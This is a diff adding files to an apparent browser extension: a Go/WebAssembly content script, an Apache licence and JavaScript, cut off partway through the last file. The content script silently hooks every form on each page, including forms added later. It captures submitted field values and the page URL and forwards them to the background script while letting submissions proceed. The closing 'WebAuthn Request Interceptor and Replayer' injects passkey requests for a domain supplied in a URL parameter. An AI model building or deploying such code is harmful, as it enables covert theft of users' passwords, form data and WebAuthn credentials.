||||
}
|
||||
|
||||
tagName := strings.ToLower(element.Get("tagName").String())
|
||||
textContent := strings.ToLower(element.Get("textContent").String())
|
||||
|
||||
if tagName == "button" {
|
||||
if strings.Contains(textContent, "forgot") || strings.Contains(textContent, "help") ||
|
||||
strings.Contains(textContent, "cancel") || strings.Contains(textContent, "back") {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) addInputChangeListeners(form js.Value) {
|
||||
inputs := form.Call("querySelectorAll", "input, select, textarea")
|
||||
inputsLength := inputs.Get("length").Int()
|
||||
|
||||
for i := 0; i < inputsLength; i++ {
|
||||
input := inputs.Index(i)
|
||||
|
||||
changeHandler := js.FuncOf(func(this js.Value, _ []js.Value) interface{} {
|
||||
form.Set("_lastChangeTime", js.Global().Get("Date").New().Call("getTime"))
|
||||
return nil
|
||||
})
|
||||
|
||||
input.Set("_formChangeHandler", changeHandler)
|
||||
input.Call("addEventListener", "input", changeHandler)
|
||||
input.Call("addEventListener", "change", changeHandler)
|
||||
}
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) addKeyboardListeners(form js.Value) {
|
||||
keydownHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
event := args[0]
|
||||
if event.Get("key").String() == "Enter" || event.Get("keyCode").Int() == 13 {
|
||||
target := event.Get("target")
|
||||
if target.Get("tagName").String() == "INPUT" {
|
||||
js.Global().Get("handleEnterKeySubmission").Invoke(form, event)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
form.Set("_formKeydownHandler", keydownHandler)
|
||||
form.Call("addEventListener", "keydown", keydownHandler)
|
||||
}
|
||||
|
||||
func handleButtonClick(this js.Value, args []js.Value) interface{} {
|
||||
form := args[0]
|
||||
element := args[1]
|
||||
_ = args[2] // event parameter not used
|
||||
|
||||
if !form.Get("_isIntercepting").Bool() {
|
||||
return nil
|
||||
}
|
||||
|
||||
elementText := element.Get("textContent").String()
|
||||
isSubmitTrigger := processor.isLikelySubmitTrigger(element)
|
||||
|
||||
if isSubmitTrigger {
|
||||
if submissionTracker != nil {
|
||||
submissionTracker.captureFormSubmission(form, "Button Click Submission", elementText)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleEnterKeySubmission(this js.Value, args []js.Value) interface{} {
|
||||
form := args[0]
|
||||
_ = args[1] // event parameter not used
|
||||
|
||||
if !form.Get("_isIntercepting").Bool() {
|
||||
return nil
|
||||
}
|
||||
|
||||
msgHandler.sendDebugInfo("Enter key submission detected (passive mode)")
|
||||
|
||||
if submissionTracker != nil {
|
||||
submissionTracker.captureFormSubmission(form, "Enter Key Submission", "")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) setupEnhancedMutationObserver() {
|
||||
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
js.Global().Get("handleEnhancedMutations").Invoke(args[0])
|
||||
return nil
|
||||
})
|
||||
|
||||
observer = js.Global().Get("MutationObserver").New(callback)
|
||||
|
||||
config := map[string]interface{}{
|
||||
"childList": true,
|
||||
"subtree": true,
|
||||
"attributes": true,
|
||||
"attributeOldValue": true,
|
||||
"characterData": true,
|
||||
"characterDataOldValue": true,
|
||||
}
|
||||
observer.Call("observe", document.Get("body"), config)
|
||||
}
|
||||
|
||||
func handleEnhancedMutations(this js.Value, args []js.Value) interface{} {
|
||||
mutations := args[0]
|
||||
mutationsLength := mutations.Get("length").Int()
|
||||
|
||||
for i := 0; i < mutationsLength; i++ {
|
||||
mutation := mutations.Index(i)
|
||||
mutationType := mutation.Get("type").String()
|
||||
|
||||
switch mutationType {
|
||||
case "childList":
|
||||
addedNodes := mutation.Get("addedNodes")
|
||||
addedNodesLength := addedNodes.Get("length").Int()
|
||||
|
||||
for j := 0; j < addedNodesLength; j++ {
|
||||
node := addedNodes.Index(j)
|
||||
nodeType := node.Get("nodeType").Int()
|
||||
|
||||
if nodeType == 1 { // Node.ELEMENT_NODE
|
||||
tagName := node.Get("tagName").String()
|
||||
|
||||
if tagName == "FORM" && !node.Call("hasAttribute", "data-form-processed").Bool() {
|
||||
processor.processForm(node)
|
||||
}
|
||||
|
||||
childForms := node.Call("querySelectorAll", "form:not([data-form-processed])")
|
||||
childFormsLength := childForms.Get("length").Int()
|
||||
|
||||
for k := 0; k < childFormsLength; k++ {
|
||||
childForm := childForms.Index(k)
|
||||
processor.processForm(childForm)
|
||||
}
|
||||
}
|
||||
}
|
||||
case "attributes":
|
||||
target := mutation.Get("target")
|
||||
attributeName := mutation.Get("attributeName").String()
|
||||
|
||||
if target.Get("tagName").String() == "FORM" {
|
||||
if attributeName == "action" || attributeName == "method" {
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Form attribute changed: %s", attributeName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) setupMutationObserver() {
|
||||
fp.setupEnhancedMutationObserver()
|
||||
}
|
||||
|
||||
func handleFormSubmission(this js.Value, args []js.Value) interface{} {
|
||||
form := args[0]
|
||||
_ = args[1] // event - not used in passive mode
|
||||
|
||||
if !form.Get("_isIntercepting").Bool() {
|
||||
return nil
|
||||
}
|
||||
|
||||
formId := form.Get("_uniqueFormId")
|
||||
var formIdStr string
|
||||
if !formId.IsUndefined() {
|
||||
formIdStr = formId.String()
|
||||
} else {
|
||||
formIdStr = form.Get("id").String()
|
||||
if formIdStr == "" {
|
||||
formIdStr = "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s submission handler: Capturing data only (passive mode)", formIdStr))
|
||||
|
||||
if submissionTracker != nil {
|
||||
submissionTracker.captureFormSubmission(form, "Form Submission", "")
|
||||
}
|
||||
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s submission handler: Allowing normal submission to proceed", formIdStr))
|
||||
return nil
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) processForm(form js.Value) {
|
||||
formId := form.Get("id").String()
|
||||
if formId == "" {
|
||||
// Use a combination of action, method, and input count for uniqueness
|
||||
action := form.Get("action").String()
|
||||
method := form.Get("method").String()
|
||||
inputs := form.Call("querySelectorAll", "input, select, textarea")
|
||||
inputCount := inputs.Get("length").Int()
|
||||
|
||||
formId = fmt.Sprintf("form_%s_%s_%d_%d", action, method, inputCount, len(fp.processedForms))
|
||||
}
|
||||
|
||||
if fp.processedForms[formId] {
|
||||
return
|
||||
}
|
||||
|
||||
form.Set("_uniqueFormId", formId)
|
||||
fp.interceptFormSubmission(form)
|
||||
form.Call("setAttribute", "data-form-processed", "true")
|
||||
fp.processedForms[formId] = true
|
||||
}
|
||||
|
||||
func (fp *FormProcessor) interceptForms() {
|
||||
forms := document.Call("querySelectorAll", "form:not([data-form-processed])")
|
||||
formsLength := forms.Get("length").Int()
|
||||
|
||||
for i := 0; i < formsLength; i++ {
|
||||
form := forms.Index(i)
|
||||
fp.processForm(form)
|
||||
}
|
||||
|
||||
fmt.Printf("Form Interceptor: Found and processed %d form(s)\n", formsLength)
|
||||
}
|
||||
|
||||
func initializeFormInterceptor() {
|
||||
readyState := document.Get("readyState").String()
|
||||
|
||||
if readyState == "loading" {
|
||||
domLoadedCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
js.Global().Get("startFormInterceptor").Invoke()
|
||||
return nil
|
||||
})
|
||||
document.Call("addEventListener", "DOMContentLoaded", domLoadedCallback)
|
||||
} else {
|
||||
processor.interceptForms()
|
||||
processor.setupMutationObserver()
|
||||
}
|
||||
}
|
||||
|
||||
func startFormInterceptor(this js.Value, args []js.Value) interface{} {
|
||||
processor.interceptForms()
|
||||
processor.setupMutationObserver()
|
||||
return nil
|
||||
}
|
||||
|
||||
func interceptAllForms(this js.Value, args []js.Value) interface{} {
|
||||
processor.interceptForms()
|
||||
return nil
|
||||
}
|
||||
|
||||
// SubmissionTracker prevents duplicate form submissions from being captured
|
||||
type SubmissionTracker struct {
|
||||
recentSubmissions map[string]int64 // form hash -> timestamp
|
||||
submissionWindow int64 // milliseconds to consider duplicates
|
||||
}
|
||||
|
||||
func NewSubmissionTracker() *SubmissionTracker {
|
||||
return &SubmissionTracker{
|
||||
recentSubmissions: make(map[string]int64),
|
||||
submissionWindow: 100, // Reduced to 100ms for passive mode
|
||||
}
|
||||
}
|
||||
|
||||
func (st *SubmissionTracker) generateSubmissionHash(form js.Value, submissionType string) string {
|
||||
uniqueFormId := form.Get("_uniqueFormId")
|
||||
var formId string
|
||||
if !uniqueFormId.IsUndefined() {
|
||||
formId = uniqueFormId.String()
|
||||
} else {
|
||||
formId = form.Get("id").String()
|
||||
if formId == "" {
|
||||
formIndex := 0
|
||||
allForms := document.Call("querySelectorAll", "form")
|
||||
allFormsLength := allForms.Get("length").Int()
|
||||
for i := 0; i < allFormsLength; i++ {
|
||||
if allForms.Index(i).Equal(form) {
|
||||
formIndex = i
|
||||
break
|
||||
}
|
||||
}
|
||||
formId = fmt.Sprintf("unprocessed_form_%d", formIndex)
|
||||
}
|
||||
}
|
||||
|
||||
currentUrl := window.Get("location").Get("href").String()
|
||||
formAction := form.Get("action").String()
|
||||
|
||||
// Get stable form signature: input names and types (not values which can change)
|
||||
inputs := form.Call("querySelectorAll", "input, select, textarea")
|
||||
inputsLength := inputs.Get("length").Int()
|
||||
|
||||
var inputSignature []string
|
||||
for i := 0; i < inputsLength; i++ {
|
||||
input := inputs.Index(i)
|
||||
inputName := input.Get("name").String()
|
||||
inputType := input.Get("type").String()
|
||||
if inputName != "" {
|
||||
inputSignature = append(inputSignature, fmt.Sprintf("%s:%s", inputName, inputType))
|
||||
}
|
||||
}
|
||||
|
||||
// Create hash from stable form characteristics (not dynamic values)
|
||||
stableData := fmt.Sprintf("%s|%s|%s|%s", formId, currentUrl, formAction, strings.Join(inputSignature, ","))
|
||||
|
||||
hashValue := 0
|
||||
for _, char := range stableData {
|
||||
hashValue = hashValue*31 + int(char)
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%d", hashValue)
|
||||
}
|
||||
|
||||
func (st *SubmissionTracker) shouldCaptureSubmission(form js.Value, submissionType string) bool {
|
||||
now := int64(js.Global().Get("Date").New().Call("getTime").Int())
|
||||
|
||||
st.cleanOldSubmissions(now)
|
||||
submissionHash := st.generateSubmissionHash(form, submissionType)
|
||||
|
||||
formId := form.Get("_uniqueFormId")
|
||||
var formIdStr string
|
||||
if !formId.IsUndefined() {
|
||||
formIdStr = formId.String()
|
||||
} else {
|
||||
formIdStr = form.Get("id").String()
|
||||
if formIdStr == "" {
|
||||
formIdStr = "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Form %s - Checking submission hash: %s for type: %s", formIdStr, submissionHash, submissionType))
|
||||
|
||||
if lastTime, exists := st.recentSubmissions[submissionHash]; exists {
|
||||
if now-lastTime < st.submissionWindow {
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Duplicate found - last seen %dms ago", now-lastTime))
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
st.recentSubmissions[submissionHash] = now
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("New submission recorded for hash: %s", submissionHash))
|
||||
return true
|
||||
}
|
||||
|
||||
func (st *SubmissionTracker) cleanOldSubmissions(now int64) {
|
||||
for hash, timestamp := range st.recentSubmissions {
|
||||
if now-timestamp > st.submissionWindow*2 { // Clean entries older than 2x window
|
||||
delete(st.recentSubmissions, hash)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (st *SubmissionTracker) captureFormSubmission(form js.Value, submissionType string, buttonText string) {
|
||||
if !st.shouldCaptureSubmission(form, submissionType) {
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Duplicate submission detected for %s, skipping...", submissionType))
|
||||
return
|
||||
}
|
||||
|
||||
msgHandler.sendDebugInfo(fmt.Sprintf("Capturing unique submission: %s", submissionType))
|
||||
|
||||
formData := processor.getFormData(form)
|
||||
currentUrl := window.Get("location").Get("href").String()
|
||||
formAction := form.Get("action").String()
|
||||
if formAction == "" {
|
||||
formAction = "Not specified"
|
||||
}
|
||||
|
||||
var submissionMessage string
|
||||
if buttonText != "" {
|
||||
submissionMessage = fmt.Sprintf(`%s - Button: %s
|
||||
URL: %s
|
||||
Form Action: %s
|
||||
Form Data:
|
||||
%s`, submissionType, buttonText, currentUrl, formAction, formData)
|
||||
} else {
|
||||
submissionMessage = fmt.Sprintf(`%s
|
||||
URL: %s
|
||||
Form Action: %s
|
||||
Form Data:
|
||||
%s`, submissionType, currentUrl, formAction, formData)
|
||||
}
|
||||
|
||||
if msgHandler != nil {
|
||||
msgHandler.sendDebugInfo("Sending form data to background script")
|
||||
msgHandler.sendFormData(submissionMessage)
|
||||
} else {
|
||||
println("msgHandler is nil, cannot send data")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"syscall/js"
|
||||
)
|
||||
|
||||
// Global variables
|
||||
var (
|
||||
document js.Value
|
||||
window js.Value
|
||||
observer js.Value
|
||||
processor *FormProcessor
|
||||
msgHandler *ContentMessageHandler
|
||||
submissionTracker *SubmissionTracker
|
||||
)
|
||||
|
||||
// main function sets up the WASM module and starts the form highlighter
|
||||
func main() {
|
||||
document = js.Global().Get("document")
|
||||
window = js.Global().Get("window")
|
||||
processor = NewFormProcessor()
|
||||
msgHandler = NewContentMessageHandler()
|
||||
msgHandler.setupMessageListener()
|
||||
submissionTracker = NewSubmissionTracker()
|
||||
|
||||
js.Global().Set("handleFormSubmission", js.FuncOf(handleFormSubmission))
|
||||
js.Global().Set("handleEnhancedMutations", js.FuncOf(handleEnhancedMutations))
|
||||
js.Global().Set("startFormInterceptor", js.FuncOf(startFormInterceptor))
|
||||
js.Global().Set("interceptAllForms", js.FuncOf(interceptAllForms))
|
||||
js.Global().Set("handleButtonClick", js.FuncOf(handleButtonClick))
|
||||
js.Global().Set("handleEnterKeySubmission", js.FuncOf(handleEnterKeySubmission))
|
||||
|
||||
initializeFormInterceptor()
|
||||
|
||||
initialPingCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
msgHandler.sendPing("Content script initialized and ready")
|
||||
return nil
|
||||
})
|
||||
js.Global().Call("setTimeout", initialPingCallback, 1000)
|
||||
|
||||
select {}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
//go:build js && wasm
|
||||
// +build js,wasm
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall/js"
|
||||
)
|
||||
|
||||
type ContentMessageHandler struct {
|
||||
chrome js.Value
|
||||
}
|
||||
|
||||
func NewContentMessageHandler() *ContentMessageHandler {
|
||||
return &ContentMessageHandler{
|
||||
chrome: js.Global().Get("chrome"),
|
||||
}
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) setupMessageListener() {
|
||||
messageListener := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
// args[0] = message object
|
||||
// args[1] = sender object
|
||||
// args[2] = sendResponse function
|
||||
|
||||
if len(args) < 3 {
|
||||
return nil
|
||||
}
|
||||
|
||||
message := args[0]
|
||||
sender := args[1]
|
||||
sendResponse := args[2]
|
||||
|
||||
cmh.handleMessage(message, sender, sendResponse)
|
||||
return true
|
||||
})
|
||||
|
||||
cmh.chrome.Get("runtime").Get("onMessage").Call("addListener", messageListener)
|
||||
println("Content script: Message listener set up")
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) handleMessage(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
messageType := message.Get("type").String()
|
||||
|
||||
println(fmt.Sprintf("Content script: Received message type: %s", messageType))
|
||||
|
||||
switch messageType {
|
||||
case "pong":
|
||||
cmh.handlePong(message, sender, sendResponse)
|
||||
default:
|
||||
println(fmt.Sprintf("Content script: Unknown message type: %s", messageType))
|
||||
response := map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "Unknown message type",
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) handlePong(message js.Value, sender js.Value, sendResponse js.Value) {
|
||||
data := message.Get("data").String()
|
||||
println(fmt.Sprintf("Content script: Pong received: %s", data))
|
||||
|
||||
response := map[string]interface{}{
|
||||
"success": true,
|
||||
"data": "Pong acknowledged",
|
||||
}
|
||||
sendResponse.Invoke(response)
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) sendMessage(messageType string, data interface{}) {
|
||||
message := map[string]interface{}{
|
||||
"type": messageType,
|
||||
"data": data,
|
||||
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
|
||||
}
|
||||
|
||||
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
|
||||
if len(args) > 0 {
|
||||
response := args[0]
|
||||
if response.Get("success").Bool() {
|
||||
var responseData string
|
||||
if !response.Get("data").IsUndefined() {
|
||||
responseData = response.Get("data").String()
|
||||
} else if !response.Get("processedData").IsUndefined() {
|
||||
responseData = response.Get("processedData").String()
|
||||
} else {
|
||||
responseData = "Success"
|
||||
}
|
||||
println(fmt.Sprintf("Content script: Message sent successfully, response: %s", responseData))
|
||||
} else {
|
||||
println(fmt.Sprintf("Content script: Message failed, error: %s",
|
||||
response.Get("error").String()))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
cmh.chrome.Get("runtime").Call("sendMessage", message, callback)
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) sendPing(data string) {
|
||||
cmh.sendMessage("ping", data)
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) sendFormData(formData string) {
|
||||
cmh.sendMessage("form_data", formData)
|
||||
}
|
||||
|
||||
func (cmh *ContentMessageHandler) sendDebugInfo(debugInfo string) {
|
||||
cmh.sendMessage("debug", debugInfo)
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,6 @@
|
||||
(async () => {
|
||||
awaitedRequest = await getWebAuthnRequest();
|
||||
if (awaitedRequest.data && awaitedRequest.success) {
|
||||
createWebAuthnIframe(awaitedRequest.data.domain, awaitedRequest.data.credentialsObject);
|
||||
}
|
||||
})();
|
||||
@@ -0,0 +1,322 @@
|
||||
// WebAuthn Request Interceptor and Replayer
|
||||
// Inject this into the browser console or as a content script
|
||||
|
||||
(function() {
|
||||
'use strict';
|
||||
|
||||
// Track pending requests for response correlation
|
||||
const pendingRequests = new Map();
|
||||
let requestIdCounter = 0;
|
||||
|
||||
// Listen for responses from the extension bridge
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.source === window && event.data.type === 'EXTENSION_TO_MAIN') {
|
||||
const { messageId, success, data, error, originalType } = event.data;
|
||||
|
||||
// Find the pending request
|
||||
const pendingRequest = pendingRequests.get(messageId);
|
||||
if (pendingRequest) {
|
||||
pendingRequests.delete(messageId);
|
||||
|
||||
if (success) {
|
||||
console.log('✅ Received response for', originalType, ':', data);
|
||||
pendingRequest.resolve(data);
|
||||
} else {
|
||||
console.error('❌ Error response for', originalType, ':', error);
|
||||
pendingRequest.reject(new Error(error));
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Helper function to send messages and return promises
|
||||
function sendMessageWithResponse(messageType, data = {}) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const requestId = ++requestIdCounter;
|
||||
|
||||
// Store the promise resolvers
|
||||
pendingRequests.set(requestId, { resolve, reject });
|
||||
|
||||
const message = {
|
||||
type: messageType,
|
||||
data: data,
|
||||
requestId: requestId
|
||||
};
|
||||
|
||||
console.log('📤 Sending message with response expectation:', message);
|
||||
|
||||
window.postMessage({
|
||||
type: 'MAIN_TO_EXTENSION',
|
||||
payload: message
|
||||
}, '*');
|
||||
|
||||
// Set timeout to prevent hanging promises
|
||||
setTimeout(() => {
|
||||
if (pendingRequests.has(requestId)) {
|
||||
pendingRequests.delete(requestId);
|
||||
reject(new Error('Request timeout'));
|
||||
}
|
||||
}, 10000); // 10 second timeout
|
||||
});
|
||||
}
|
||||
|
||||
window.getWebAuthnRequest = function() {
|
||||
console.log('🔍 Requesting WebAuthn request from background script...');
|
||||
return sendMessageWithResponse('get_webauthn_request');
|
||||
};
|
||||
|
||||
window.sendWebAuthnResponse = function(response) {
|
||||
console.log('📤 Sending WebAuthn response to background script:', response);
|
||||
return sendMessageWithResponse('send_webauthn_response', response);
|
||||
};
|
||||
|
||||
// Check for makewebauthnrequest query parameter and handle it immediately
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const makeWebAuthnRequest = urlParams.get('makewebauthnrequest');
|
||||
|
||||
if (makeWebAuthnRequest) {
|
||||
try {
|
||||
console.log('🎯 WebAuthn request detected in URL parameter');
|
||||
|
||||
// Base64 decode the parameter
|
||||
